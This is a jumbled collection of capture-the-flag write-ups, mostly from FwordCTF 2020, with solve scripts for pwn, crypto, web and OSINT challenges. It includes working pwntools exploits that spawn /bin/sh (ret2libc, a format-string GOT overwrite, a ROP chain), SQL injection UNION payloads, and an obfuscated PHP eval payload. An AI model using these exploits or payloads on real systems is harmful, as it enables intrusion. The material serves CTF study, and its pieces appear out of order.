                msg -= comb(n - i, k)
                k -= 1
        m = int(''.join(m), 2)
        i, z = 0, [0 for i in range(n - 1)]
        c = 0
        while (m > 0):
            if m % 4 == 1:
                c += 3 ** i 
                m -= 1
            elif m % 4 == 3:
                c += 2 * 3 ** i
                m += 1
            m //= 2
            i += 1
        return c
    
    enc = encrypt(flag, n, k)
    print('enc =', enc)

    Db 2

    After looking up sqlite formats i made the payload

    ' UNION SELECT name,NULL,NULL,NULL FROM sqlite_master;--

    To get all table names and then

    ' UNION SELECT sql,NULL,NULL,NULL FROM sqlite_master WHERE name = 'user' AND type = 'table';--

    To get the settings of that table. the flag was 58

    enc = 5550332817876280162274999855997378479609235817133438293571677699650886802393479724923012712512679874728166741238894341948016359931375508700911359897203801700186950730629587624939700035031277025534500760060328480444149259318830785583493
    from Crypto.Util.number import *
    from functools import reduce
    import operator
    
    def comb(n, k):
        if k > n :
            return 0
        k = min(k, n - k)
        u = reduce(operator.mul, range(n, n - k, -1), 1)
        d = reduce(operator.mul, range(1, k + 1), 1)
        return u // d 
    
    def from_int(num, base, alpha="0123456789abcdef"):
        out = ""
        while num:
            out = alpha[num%base] + out
            num //= base
        return out or alpha[0]
    
    ct = 5550332817876280162274999855997378479609235817133438293571677699650886802393479724923012712512679874728166741238894341948016359931375508700911359897203801700186950730629587624939700035031277025534500760060328480444149259318830785583493
    #     5550332948208120629025411001331320743912337889071945074153769995654439069135971336244981001925727908903742116646762141899301774026507397497025053737665676875918569586865903953910920954499256359219273488814885412340248767805295663882248
    ct = from_int(ct,3)
    print(ct)
    m = 0
    for i in ct:
        m *= 2
        if i == "1":
            m += 1
        elif i == "2":
            m -= 1
    
    
    print(m)
    
    c = [i for i in from_int(m,2)]#[1:]
    n = len(c)#+1
    k = 0
    for i in c:
        if i == "1":
            k += 1
    
    print(n,k)
    
    msg = -comb(n - 1, k)
    
    for i in range(1, n + 1):
        if c[i-1] == '1':
            msg += comb(n - i, k)
            k -= 1
    
    print(long_to_bytes(msg))

    Numbers

    Numbers

    The program is a constant prompt that... 1. Reads a number from us 2. Checks if the number is greater than 60, if so it tells us we're naughty and exits 3. Reads that amount of data into a 64 length buffer 4. Prints the data 5. Asks if we want to try again, just dont type n

    There's also some prompts inbetween but those aren't important. At first glance, this seems perfectly secure. But actually, note this code snippet.

    It actually uses atoi to convert our input to a number, and atoi allows signed integers.

    This means we can enter a negative number, like -1, and atoi will return 0xffffffff

    the read function takes a size_t parameter - it wont think we're trying to read -1 bytes of data, but 4294967295 bytes of data. Now that's a lot of overflow.

    PIE is on, so we cant just overwrite the return address of the integer reading function, ret2plt and call it a day. Because it prints our input back at us, we can exploit it similarly to skywriting from redpwn.

    As a recap, strings are terminated by null bytes. When a function, like printf in this case, attempts to print a string, it will continue reading data until it reaches a null byte, at which it will stop.

    If we make our input long enough, overwriting null bytes and nudging itself next to some data, said data can be leaked. Imagine it like this:

    (our input is at the beginning, and we wish to leak the 0xdeadbeef data) currently this reads as an empty string let's fill the input with AAAA

    Now, the null bytes have been overwritten, so the 0xdeadbeef is part of the string! This reads to be AAAA\xde\ad\be\ef.

    8 bytes from the beginning of our buffer is atoi+16, we can leak this using this method and calculate the libc base. Our input is 72 bytes from the return address, so after leaking we will send 72 bytes of padding + poprdi + /bin/sh + retgadget(stack alignment) + system to overwrite the return address of the buffer reading function and pop a shell.

    Then, cat flag.txt to get the flag.

    1. Send size of -1 to gain large buffer overflow

    2. Send 8 bytes to leak libc address(atoi+16)

    3. Use libc-database find to get the remote libc(libc6_2.28-0ubuntu1_amd64)

    hashtag
    Flag: FwordCTF{s1gN3d_nuMb3R5_c4n_b3_d4nG3r0us}

    One Piece Remake

    The binary has no protections except Partial RELRO.

    The menu has 3 options besides exiting, one of which is secret.

    We can read into a shellcode pointer, but only 5 bytes get read. We can execute said shellcode. This is all pretty much useless since 5 bytes of shellcode is not enough to do literally anything useful.

    There's a secret option - gomugomunomi. It reads 100 bytes of input(no BOF) and then printfs it, allowing us to execute the classic format string exploit.

    I tried to do the simple %p leak, but found no useful addresses on the stack. Instead, I used %s to read my buffer(offset 7, found through pwntools automation) as an address of a string in order to read got entries.

    By doing gotaddress + %7$s we can leak got addresses to get a libc leak. We'll use libc-database find yet again to get the remote libc, libc6_2.30-0ubuntu2.2_i386

    Then, we'll execute a got overwrite attack by overwriting printf@got with system. Next gomugomunomi, the input will be system'd, so we enter /bin/sh to get dropped into a shell.

    But it's not over! On the remote, there is no cat. The solution to read flag.txt is simple - while read line; do echo $line; done < flag.txt

    This reveals the flag.

    1. gotaddress+ %7$s to leak libc

    2. Format string overwrite to map printf to system

    3. In gomugomunomi, send /bin/sh

    hashtag
    Flag: FwordCTF{i_4m_G0inG_t0_B3coM3_th3_p1r4Te_K1NG}

    Secret Array

    If you request the sums of 0 1, 1 2, and 2 0, you can sum them and divide to get the sum of 0, 1 and 2.

    Then subtracting one of the above from this lets you find 0, 1 and 2, from which you can ask for 2 3 to get 3, etc.

    Script below.

    Gambler

    So the encryption calculates x^3 + ax + b mod p. Initially, we don't know a, b, or p, but we can encrypt arbitrary messages and get the encryption of the flag.

    So, how do we leak values with this? First of all, we encrypt 0 - the equation will equate to b.

    Next, we encrypt 1 - the equation will be 1 + a + b, so subtract b and subtract 1 to get a, or some value that equates to a mod p.

    Finally, we must leak p. This is simple, continue encrypting small messages and also encrypting them ourselves with the calculated a and b values. Eventually, we'll find that our calculated value is different to the value returned - from there, we work out the modulus that would require both of the values to be equal. In my case, my calculated value was negative and the value returned by the server was positive so adding the absolute values returned the modulus.

    This gives us the equation x^3 + ax + b mod p = c where we know a,b, and c. From there I got maf slave rak to solve the equation using sage :P

    Welcome Pwner

    Chuck it in ghidra or your favourite decompiler/analyser - we see it prints the system address to us, then uses gets to read an input. This is a classic buffer overflow which we'll attack with ret2libc.

    As it prints the libc address of system, we can simply use that to calculate the libc base. The binary is 32-bit, and it reads input into ebp-0x1c, giving 32 bytes of padding until return address overwrite. Then, we just send system + junk + /bin/sh address

    Note that we don't know the remote libc - I used libc-database find to get the remote libc binary, which is libc6_2.30-0ubuntu2_i386

    So: 1. Receive libc address 2. Calculate libc base 3. Build ret2libc system("/bin/sh") chain 4. Pop shell, cat flag.txt

      read(0,local_10,8);
      iVar1 = atoi(local_10);

    Misc

    Rev

    Web

    Use while read line; do echo $line; done to read the flag file as cat is nonexistent
    import socket
    socket = socket.socket()
    socket.connect(('secretarray.fword.wtf', 1337))
    socket.recv(2048)
    def recv():
        while True:
            a = socket.recv(2048).decode('ASCII')
            if a != '\n':
                return a
    socket.send(b'0 1\n')
    a=[]
    a.append(int(recv()))
    socket.send(b'1 2\n')
    a.append(int(recv()))
    socket.send(b'2 0\n')
    a.append(int(recv()))
    s=sum(a)//2
    b=[s-a[1], s-a[2], s-a[0]]
    print(b)
    for i in range(2, 1336):
        socket.send(f'{i} {i+1}\n'.encode('ASCII'))
        b.append(int(recv())-b[-1])
        print(f'{i+1} - {b[-1]}')
    socket.send(("DONE "+" ".join(str(i) for i in b)+'\n').encode('ASCII'))
    socket.recv(2048)
    print(socket.recv(2048))
    hashtag
    Flag: FwordCTF{good_j0b_pwn3r}
    from pwn import *
    NUM_TO_RET = 0x1c + 4
    padding = b'A'*NUM_TO_RET
    e = ELF("./molotov")
    p = e.process() if args.LOCAL else remote('54.210.217.206',1240)
    libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2_i386/libc.so.6")
    system = int(p.recvline(),16)
    p.recvline()
    libcbase = system - libc.symbols['system']
    log.info(f"System address: {hex(system)}")
    log.info(f"Libc base: {hex(libcbase)}")
    libc.address = libcbase
    chain = flat(libc.symbols['system'],libc.symbols['exit'],next(libc.search(b"/bin/sh\x00")))
    p.sendline(padding + chain)
    p.interactive()

    Twis Twis Litlle Star

    https://github.com/tna0y/Python-random-module-crackerarrow-up-right

    (title hints at mersenne twister, which is what python random uses)

    script below:

    from pwn import *
    from randcrack import RandCrack
    
    rc = RandCrack()
    
    s = remote("twistwislittlestar.fword.wtf", 4445)
    print(s.recvline())
    print(s.recvline())
    print(s.recvline())
    print(s.recvline())
    print(s.recvline())
    print(s.recvline())
    d1 = int(s.recvline().decode().split(" : ")[1][:-1])
    d2 = int(s.recvline().decode().split(" : ")[1][:-1])
    d3 = int(s.recvline().decode().split(" : ")[1][:-1])
    print(d1,d2,d3)
    rc.submit(d1)
    rc.submit(d2)
    rc.submit(d3)
    print(s.recvline())
    for i in range(621):
      s.recvline()
      s.sendline("1")
      s.recvline()
      d = int(s.recvline().decode().split(" : ")[1][:-1])
      print(d,i)
      rc.submit(d)
      s.recvline()
    p = []
    for i in range(100):
      p.append(rc.predict_randrange(0, 4294967295))
    print(p)
    s.interactive()

    hashtag
    Flag: FwordCTF{R4nd0misnT_R4nd0m_4ft3r_4LL!_Everyhthing_is_predict4bl3_1f_y0u_kn0w_wh4t_Y0u_d01nGGGG}

    Use size -1 trick again to overwrite return address and send system("/bin/sh") rop chain to pop a shell
    hashtag
    Flag: CCTF{GerolamoCardano_4N_itaLi4N_p0lYma7H}

    No script because I did it all manually in a python prompt but here have my PoW solver

    from Crypto.Util.number import *
    
    import os,hashlib,itertools
    os.environ['PWNLIB_NOTERM'] = '1'
    
    from pwn import *
    from string import printable
    printable = list(printable)
    printable.remove('\n')
    printable.remove('\x0b')
    printable.remove('\x0c')
    printable.remove('\t')
    printable.remove(' ')
    def powbuster(method,target,length):
        hash = eval(f"hashlib.{method}")
        for possible in itertools.combinations(printable,length):
            possible = ''.join(possible).encode()
            val = hash(possible).hexdigest()[-6:]
            if val == target:
                return possible
    p = remote('05.cr.yp.toc.tf', 33371)
    p.recvuntil(b"Please submit a printable string X, such that ")
    method = p.recvuntil("(")[:-1].decode()
    p.recvuntil("= ")
    target = p.recvuntil(" ")[:-1].decode()
    p.recvuntil("len(X) =")
    length = int(p.recvline())
    print(method,target,length)
    ans = powbuster(method,target,length)
    print(ans)
    p.sendline(ans)
    p.interactive()
    from pwn import *
    e = ELF("./remake")
    libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.30-0ubuntu2.2_i386/libc.so.6")
    def getproc():
        return e.process() if args.LOCAL else remote('onepiece.fword.wtf', 1236)
    def dofmt(data):
        p.sendline(b"gomugomunomi")
        p.recvuntil(b">>")
        p.sendline(data)
        output = p.recvline()
        p.recvuntil(b">>")
        return output
    def write_fmt(data):
        proc = getproc()
        proc.recvuntil(b">>")
        proc.sendline("gomugomunomi")
        proc.recvuntil(b">>")
        proc.send(data)
        output = proc.recvline()
        proc.close()
        return output
    auto = FmtStr(write_fmt)
    p = getproc()
    p.recvuntil(b">>")
    string = b"/bin/sh\x00"
    payload = p32(e.got['puts']) + b'%7$s'
    output = dofmt(payload)[4:8]
    libcleak = u32(output)
    log.info(f"Libc leak: {hex(libcleak)}")
    libcbase = libcleak - libc.symbols['puts']
    log.info(f"Libc base: {hex(libcbase)}")
    libc.address = libcbase
    # Overwrite printf@got with system@GLIBC
    payload = fmtstr.fmtstr_payload(auto.offset,{e.got['printf']: libc.symbols['system']})
    p.sendline(b"gomugomunomi")
    p.recvuntil(b">>")
    p.sendline(payload)
    p.clean()
    p.sendline(b"gomugomunomi")
    p.recvline()
    p.sendline(b"/bin/sh")
    p.interactive()
    00 00 00 00 de ad be ef
    41 41 41 41 de ad be ef
    from pwn import *
    e = ELF("./numbers")
    context.arch = 'amd64'
    p = e.process() if args.LOCAL else remote('numbers.fword.wtf', 1237)
    libc = e.libc if args.LOCAL else ELF("/home/kali/Tools/libc-database/libs/libc6_2.28-0ubuntu1_amd64/libc.so.6")
    def getoutput(data,cont=True):
     p.recvuntil(b"??\n")
     # We send -1 as a number because atoi allows negatives, but read will actually just interpret this as a request to read 0xffffffff bytes, giving us a lot of overflow
     p.send("-1\x00")
     p.recvline()
     # Our input is echoed(safe printf) so we can leak values because of lack of string termination, skywriting style
     p.send(data)
     if not cont:
         return
     p.recvuntil(data)
     ans = p.recvline()
     p.recvuntil(b"?\n")
     p.send('\n')
     return ans[:-1]
    num = 0x40
    libcleak = getoutput(b'A'*8).ljust(8,b'\x00')
    libcleak = u64(libcleak)
    log.info(f"Libc leak: {hex(libcleak)}")
    libcbase = libcleak - 16 - libc.symbols['atoi']
    log.info(f"Libc base: {hex(libcbase)}")
    libc.address = libcbase
    padding = b'A'*0x48
    rop = ROP(libc)
    poprdi = (rop.find_gadget(['pop rdi', 'ret']))[0]
    retgadget = (rop.find_gadget(['ret']))[0]
    chain = flat(poprdi,next(libc.search(b"/bin/sh\x00")),retgadget,libc.symbols['system'])
    getoutput(padding + chain,False)
    p.interactive()

    JAILOO WARMUP

    We are only allowed to use these characters: $()_[]=+;".

    Webserver evals our input.

    We also have a 2000 character cap (found by experimenting)

    Found a pretty good resource on this: https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/arrow-up-right

    Main idea is to

    • use underscores for variables names

    • use $_=([]."")[([]==[])+([]==[])+([]==[])] to get a lowercase a

    • use $_=([]."")[[].[]+[][[]]] to get an uppercase A

    • use [varname]++ to increase the ascii value for each of these to get all ascii letters

    • take a string and join our characters one by one with .=

    • for other characters, we can just join then with .="char", assuming it is allowed.

    Our first goal is to get phpinfo, to see if there are any disabled functions:

    Payload:

    We can see that useful functions which would have allowed us to read from the file like file_get_contents are disabled. However, readfile() is not disabled, so we can use that. We can then use printf() to output that to us.

    Our final payload will then eval to: printf(readfile("FLAG.PHP"))

    Final payload:

    hashtag
    Flag: FwordCTF{Fr0m_3very_m0unta1ns1d3_l3t_fr33d0m_r1ng_MLK}

    (need to view source to see it)

    Beginner Rev

    As usual angr went brrr after I stopped being stupid and made it search for the success address, not output, which resulted in file errors.

    hashtag
    FLAG: FwordCTF{luhn!_wh4t_a_w31rd_n4m3}

    XO

    Whatever we input, the binary searches for characters in our input that are the same as a character of the flag in the same position. It prints the number of characters before the first occurrence of this. For example, if the flag was FwordCTF{}, then...

    Fgjehrfd -> 0

    sws -> 1

    gggg -> 4

    Using this, we can run a simple byte by byte bruteforce in order to get the data in flag.txt - NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

    Adding the flag format, we get the flag, FwordCTF{NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

    Crypto

    One Part!

    RSA-CRT. We're given dp, which is d modulus p - 1. This is the exact same problem as Weirder RSA from picoCTF 2017, so I shamelessly copied the script and changed the parameters, revealing the flag

    https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/content/2017/picoCTF_2017/problems/cryptography/weirderRSA/weirderRSA.htmlarrow-up-right

    hashtag
    Flag: FwordCTF{i_knew_it_its_not_secure_as_i_thought}

    import angr
    import claripy #the solver engine
    
    proj = angr.Project("./welcome", auto_load_libs=False)
    sym_arg_size = 0x10 #Length in Bytes because we will multiply with 8 later
    inp = [claripy.BVS('flag_%d' % i, 8 ) for i in range(sym_arg_size)]
    flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])
    state = proj.factory.full_init_state(args=["./welcome"], stdin=flag)
    for byte in inp:
        state.solver.add(byte >= ord('0'))
        state.solver.add(byte <= ord('9'))
    
    simgr = proj.factory.simulation_manager(state)
    good = 0x400000 + 0x12b2
    bad = [0x400000 + 0x1669, 0x400000 + 0x167b]
    
    simgr.use_technique(angr.exploration_techniques.DFS())
    simgr.explore(find=good)
    found = simgr.found[0]
    print(found.solver.eval(flag, cast_to=bytes))
    The solved input is 1755121917194838

    Weird RSA

    Each character of the plaintext is encrypted using a known N and unknown e, creating a ciphertext array we're given. Infact, the actual RSA behind it is completely irrelevant. All we need to know is that each character is mapped to a number via a mapping function which we cannot reverse. The ciphertext is 932 numbers long, with 31 unique numbers, making it the equivalent of a simple substitution cipher which we can easily break using frequency analysis.

    I used this script(with the values already loaded in enc)

    english_freq = [' ', 'E','T','A','I','N','O','R','S','L','H',
                    'C','M','D','Y','P','U','W','F','G','.','V',
                    'B','X','K',',','Q', 'Z', '\'', '0', '9']
    freqenc = sorted(set(enc),key=enc.count,reverse=True)
    mapping = {}
    for num in freqenc:
        if freqenc.index(num) >= len(english_freq):
            mapping[num] = '-'
        else:
            mapping[num] = english_freq[freqenc.index(num)]
    dec = ''
    for num in enc:
        dec += mapping[num]
    print(dec)

    Which prints out:

    DOEKHESYW RSRLWANA NA HAEU DIO GOERVNSF AHGATNTHTNIS YNMCEOA. TCE FESEORL NUER NA TI DNSU TCE MIMHLRO LETTEOA NS TCE YNMCEOTEXT RSU TOW TI OEMLRYE TCEP GW TCE YIPPIS LETTEOA NS TCE HAEU LRSFHRFE. TCE RTTRYVEO HAHRLLW YCEYVA AIPE MIAANGNLNTNEA RSU PRVEA AIPE AHGATNTHTNISA ID LETTEOA NS YNMCEOTEXT. CE LIIVA DIO MIAANGLE RMMERONSF BIOUA RSU GRAEU IS TCRT PRVEA PIOE AHGATNTHTNISA. HANSF YIPMHTEOA, NT NA MIAANGLE TI TOW R LIT ID YIPGNSRTNISA NS OELRTNQE ACIOT TNPE. BORM TCE DLRF NS NTA DIOPRT 0 BELLDOEKHESYWRSRLWANAOIYVA. DIO EXRPMLE, ND NS TCE RSRLW'EU YNMCEOTEXT TCE PIAT MIMHLRO LETTEO NA X, ISE PRW MOEUNYT TCRT X OEMLRYEU E IO I ZISE ID TCE PIAT MIMHLRO LETTEOA NS ESFLNAC9 DOIP TCE MLRNSTEXT. NT NA HAEDHL TI LIIV DIO MIMHLRO MRNOA ID LETTEOA IO EQES TOW TI MOEUNYT AIPE DOEKHEST LISFEO AEKHESYEA ID LETTEOA IO BCILE BIOUA. TCE NSTOHUEO RLBRWA TONEA TI DNSU AEKHESYEA ID LETTEOA BCNYC ROE IDTES HAEU NS TCE AELEYTEU LRSFHRFE.

    I'm not sure why the output is wrong, but it can be chucked into a substitution cipher solver(https://www.guballa.de/substitution-solverarrow-up-right) to get the real plaintext:

    From here we can see the flag is WELLFREQUENCYANALYSISROCKS wrapped in the flag format(you actually had to put it in lowercase too)

    hashtag
    Flag: FwordCTF{wellfrequencyanalysisrocks}

    BDBG

    Boneh-durfee go brrrr and then you can reverse the other function easily since its just XOR

    line = "101110100011010000110010100100000011001110110001010101100101000000100111011010010010110101000101000110000100011001001100111011111011101001110111100001100011101010101111101100001000010111111000110110110010110100000001001011100010011000110100111100001100111001101110001111001100010001001111100110110110100001011100011100110101001000011100100011011110011000010100110010100111000010101101110101011100010110000100001101101101001111000101011100101100100110110011101000100010101000010001010010110110101011111101110011101110010000101001000111000000100100001010110111001011110001010100100001101111010010111101111001001001111010001100000111000010000100110101100010001111100011111100100100001010010100111010100010000101110000110101000101100"
    n = 9
    msg = [line[i:i+n] for i in range(0, len(line), n)]
    
    
    r=3945132
    p =12019806956467800913778611206246062087922374347970383926984004278168670921911203657163080865199043522716298571169006826814578568813815787765574990776255283
    q = 11391686090403905599695015583829755003551766728158057028281938682097322841603835874354540607209988671617182359012432600907514677996087087987893334356043831
    n= p*q
    
    bs = 9
    r=3945132
    x=pow(r,2,n)
    c = ''
    for i in range(81):
        x=pow(x,2,n)
        p=(bin(x)[2:])[-bs:]
        c_i=int(p,2)^int(msg[i],2)
        ci_bin = format(c_i, '0' + str(bs) + 'b')
        c+=ci_bin
    
    print(c)

    hashtag
    Flag: FwordCTF{boneh_and_blum?_mix3d_but_good_j0b!!}

    Patcherman

    Look in hex - line 01050 - be ba 0d f0 That spelled backwards is f00dbabe Open cutter, go to graph, main 'cmp eax, 0x1337beef' Convert that to the format it needs

    python -c "import pwn; print(pwn.p32(0x1337beef))"  | hd - ef be 37 13

    Swap that with f00dbabe ./patcherman

    hashtag
    actf{p4tch3rm4n_15_n0_m0r3}

    I used backticks for padding since they were pretty much guaranteed not to be in the flag - we can send backtick_padding + char and bruteforce "char" until the number returned equals the number of backticks, the character of the flag in that position would be the char where the server returned number is equal to the number of backticks.

    hashtag
    Flag: FwordCTF{NuL1_Byt35?15_IT_the_END?Why_i_c4nT_h4ndl3_That!}

    from pwn import *
    import time
    printable = "?_qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890!@#$%^&*(){},./<~\\"
    host = ('xo.fword.wtf', 5554)
    def getnum(string):
        while True:
            try:
                p = remote(*host)
                break
            except socket.gaierror:
                time.sleep(1)
        #p = process("./task")
        p.recvline()
        p.sendline(string)
        ans = int(p.recvline())
        p.close()
        return ans
    flag = ''
    i = len(flag)
    while '}' not in flag:
        pad = '`'*i 
        for char in printable:
            totry = pad + char
            print(totry)
            if getnum(totry) == i:
                flag += char
                print(f"Flag: {flag}")
                break
        else:
            print(flag)
            quit()
        i += 1
    $_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$____=$___;$____++;$____++;$__.=$____;$__.=$_____;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$__.=$___;$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__();
    $_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$__="";$___=$_;$___++;$___++;$___++;$____=$___;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$____++;$_____=$____;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$__.=$_____;$_____=$___;$_____++;$_____++;$_____++;$__.=$_____;$_____++;$_____++;$_____++;$_____++;$_____++;$__.=$_____;$____++;$____++;$____++;$____++;$____++;$____++;$__.=$____;$__.=$___;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____="";$______=$_;$______++;$______++;$______++;$_______=$______;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$_______++;$________=$_______;$________++;$________++;$_____.=$________;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_++;$_++;$_++;$_____.=$_;$_=([]."")[([]==[])+([]==[])+([]==[])];$_++;$_++;$_++;$_++;$_____.=$_;$_=([]."")[[].[]+[][[]]];$_______="";$________=$_;$________++;$________++;$________++;$________++;$________++;$_______.=$________;$_________=$________;$_________++;$_________++;$_________++;$_________++;$_________++;$_________++;$_______.=$_________;$_______.=$_;$_________=$________;$_________++;$_______.=$_________;$_______.=".";$_________++;$__________=$_________;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$__________++;$_______.=$__________;$_______.=$_________;$_______.=$__________;$__($_____($_______));
    FREQUENCY ANALYSIS IS USED FOR BREAKING SUBSTITUTION CIPHERS. THE GENERAL IDEA IS TO FIND THE POPULAR LETTERS IN THE CIPHERTEXT AND TRY TO REPLACE THEM BY THE COMMON LETTERS IN THE USED LANGUAGE. THE ATTACKER USUALLY CHECKS SOME POSSIBILITIES AND MAKES SOME SUBSTITUTIONS OF LETTERS IN CIPHERTEXT. HE LOOKS FOR POSSIBLE APPEARING WORDS AND BASED ON THAT MAKES MORE SUBSTITUTIONS. USING COMPUTERS, IT IS POSSIBLE TO TRY A LOT OF COMBINATIONS IN RELATIVE SHORT TIME. WRAP THE FLAG IN ITS FORMAT 0 WELLFREQUENCYANALYSISROCKS. FOR EXAMPLE, IF IN THE ANALY'ED CIPHERTEXT THE MOST POPULAR LETTER IS X, ONE MAY PREDICT THAT X REPLACED E OR O ZONE OF THE MOST POPULAR LETTERS IN ENGLISH9 FROM THE PLAINTEXT. IT IS USEFUL TO LOOK FOR POPULAR PAIRS OF LETTERS OR EVEN TRY TO PREDICT SOME FREQUENT LONGER SEQUENCES OF LETTERS OR WHOLE WORDS. THE INTRUDER ALWAYS TRIES TO FIND SEQUENCES OF LETTERS WHICH ARE OFTEN USED IN THE SELECTED LANGUAGE.

    Tornado

    Looking at the script, it scrambles the flag (by using one of the flag's characters as the seed), splits it into blocks of 2 bytes, and then pads them, and then AES encrypts them with a known key.

    We start by decrypting each block with the key to get a long string: aaFho_i_aC2b_abfc8edFw!kolae_ngbom_r__f_9T525eg__ihedd}{pmertt

    Then, we bruteforce the seed by trying each of the characters of the flag as the seed. We do this by scrambling our own string (I chose ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789) with the seed, and then comparing it to the above string and see if it's in flag format.

    Seeing as "w" only appears once, and it is in the flag format, I based my check on this. We check if our output string[21] is equal to "B", since this is its place in the flag format.

    We get our seed as "h", and we encrypt our string with it. Last thing to do is to match each character up to its original position. Script below:

    hashtag
    Flag: FwordCTF{peekabooi_am_the_flag!_i_am_the_danger_52592bbfcd8}

    Randomness

    Basically, there is an LCG being used to generate the string of numbers. It takes a seed, multiplies it with "a", adds "b", and then takes that mod a prime "p".

    We don't know any of these values however. It generates a list of numbers from a starting random seed this way, and then xors each character of the flag to get a new list.

    We know the flag format is "FwordCTF{", so we can start by XORing these characters to get the actual string of LCG generated numbers: [6680465291011788181, 5100570103593250306, 5906808313299165163, 1965917782737693404, 9056785591048864532, 1829758495155458643, 6790868899161600099, 1596515234863242753, 1542626304251881944] Now, we do some modular maths stuff:

    6680465291011788181 a + b = 5100570103593250306 5906808313299165163 a + b = 1965917782737693404(all of these are taken mod p of course) 1596515234863242753 * a + b = 154262630425188194

    We can subtract the equations from each other to get rid of the b: (6680465291011788181 - 5906808313299165163)a = 5100570103593250306 - 1965917782737693404 (5906808313299165163 - 1596515234863242753)a = 1965917782737693404 - 1542626304251881944

    Simplifying:

    Im using these from now because idk why the others arent working

    Solve script:

    hashtag
    Flag: FwordCTF{LCG_easy_to_break!That_was_a_mistake_choosing_it_as_a_secure_way}

    Fibo

    Here's what the program does

    First of all, use a mess function to encode the flag. This mess function is easily byte by byte bruteforceable if we use the printable range of characters.

    Let's call this mflag.

    def mess(msg):
        enc=""
        for i in msg:
            enc+=chr((ord(i)+ord(i))%256)
        return enc
    printable = string.printable
    def demess(msg):
        # Byte by byte bruteforce
        dec = ""
        for i in range(len(msg)):
            for char in printable:
                if mess(char) == msg[i]:
                    dec += char
                    break
            else:
                dec += "-"
        return dec

    Next, it pads the mflag so that it's length is a multiple of 9 using .

    Then, it encrypts the mflag using matrix multiplication. Splitting the mflag into bunches of 9, it fills up a 3x3 matrix using the ascii values, multiplies it by a key that we know, transposes the resulting matrix, and turns it into a string result of of form

    This is all done using the messig_up function. Then, it takes the output, parses it, and uses an encode function to encode each of the numbers, writing them all to the output file. I didn't reverse the encode function, and instead just did a classic bruteforce to get the numbers which were all less than 2500.

    Here's how the solve script operates.

    1. Create a mapping of all possible encodings. Now, decode all the number encodings using this mapping.

    2. Split the numbers into groups of 9, fill up 3x3 matrices, and transpose these matrices to get the pure matrix multiplication outputs.

    3. Calculate the matrix inverse of the matrix key, then multiply the matrices by this inverse to get the original matrices

    Script below:

    hashtag
    Flag: FwordCTF{whatever_you_do_i_can_do_it_better!!!!}

    Identity Fraud

    The start of the challenge links you to a twitter (https://twitter.com/1337bloggsarrow-up-right). This brings you to the person of Fred Bloggs.

    After looking through the followers of 1337 bloggs, you get a twitter of a team called Eword, mentioned in the challenge description (https://twitter.com/EwordTeamarrow-up-right).] We also get a CTFtime page(https://ctftime.org/team/131587arrow-up-right), however looking at this brings nothing of interest.

    [this is where the guessing picks up]

    Maybe there was something on the CTFtime page that they didn't want us to see.

    Using the wayback machine ( a group of archived internet pages), we find 2 archived pages.

    Clicking on one of these archived pages leads us to here.

    We can see a pastebin link () that leads us to some clues.

    The most interesting thing here is the 2nd pastebin link, leading us to some base64.

    This base64 can be converted here: () and is reconstructed to a jpg.

    We get 3 pretty big clues here:

    1. The social media platform he uses (instagram, due to the layout resembling an Instagram story)

    2. The line "thanks to the advisor for recommending it for me". This advisor refers to Trip Advisor, a reviw site.

    3. A picture of the hotel he was staying at.

    After using google lens, we find out that our target is staying at "Hilton Podgorica Crna Gora" in Macedonia.

    After staring at reviews for an hour, I was stuck, until will came in and gave me a s*nity check, realisng that the person who we needed to catch was right in front of us the whole time.

    The man we are looking for was found, Wokaihwokomas Kustermann.

    He had the username of "check my instagram" on trip advisor, so a simple sherlock search should do the trick.

    We found an instagram!

    After opening his profile picture fully, you get the flag of:

    hashtag
    Flag: Eword{c0ngraAatulationZzZzaNd_w3lCom3_to_Eword_Team!}

    matrix[0,0] matrix[0,1] matrix[0,2] matrix[1,0] .... ----- matrix2[0,0] .....

    2020 Writeups

    Web 1 (Something Derpy? Idk)

    Download /bart Run strings to get b64 string Decrypt Get flag

    ECB is the best CB

    We can run a "chosen plaintext" attack on the server. It takes our input, then calculates encrypt(input + flag). Because ECB encrypts each block separately and simply concatenates them, we can brute force the flag byte by byte. A block is 16 bytes. Say if we gave the server 15 As, This means that the first block of the response is the ECB encryption of 15 As + the first byte of the flag. We'll call this block k1.

    If we continuously send 15 As + and then compare the first block, then the byte in which the first block of the encryption is equal to k1 is the first byte of the flag.

    If we send 14 As, the first block is the encryption of 14As plus the first two bytes of the flag. Given the first byte of the flag, we can run a similar brute force. This continues for the first block, the second block, and however many blocks there are until the flag finishes.

    OSINT

    Scouting

    You can inspect packets using tcpdump and find the domain covidfunds.net, OR you can step through the program in the debugger, notice the string Y292aWRmdW5kcy5uZXQ= getting base64 decoded, base64 decode it yourself and you will find it decodes to covidfunds.net

    Covid19 CTF

    a = "aaFho_i_aC2b_abfc8edFw!kolae_ngbom_r__f_9T525eg__ihedd}{pmertt"
